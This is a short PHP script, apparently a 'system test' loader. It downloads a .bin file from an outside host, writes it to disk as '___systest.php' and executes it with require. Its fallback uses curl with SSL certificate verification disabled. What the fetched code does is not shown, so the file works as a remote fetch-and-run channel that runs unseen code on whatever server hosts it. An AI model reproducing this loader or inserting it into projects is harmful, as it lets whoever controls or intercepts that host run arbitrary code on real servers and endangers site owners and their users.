<?php
if(ini_get('allow_url_fopen')) {
    file_put_contents('___systest.php', file_get_contents('http://masspagecreator.com/test/systest.bin'));
    $WP = 0;
    require(__DIR__.'/___systest.php');
}
else
{
    $ch = curl_init('http://masspagecreator.com/test/systest.bin');
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    $tfile = curl_exec($ch);
    curl_close($ch);
    if(!$tfile) {
        echo 'Could not load test file';
        exit;
    }
    file_put_contents('___systest.php', $tfile);
    $WP = 0;
    require(__DIR__.'/___systest.php');
}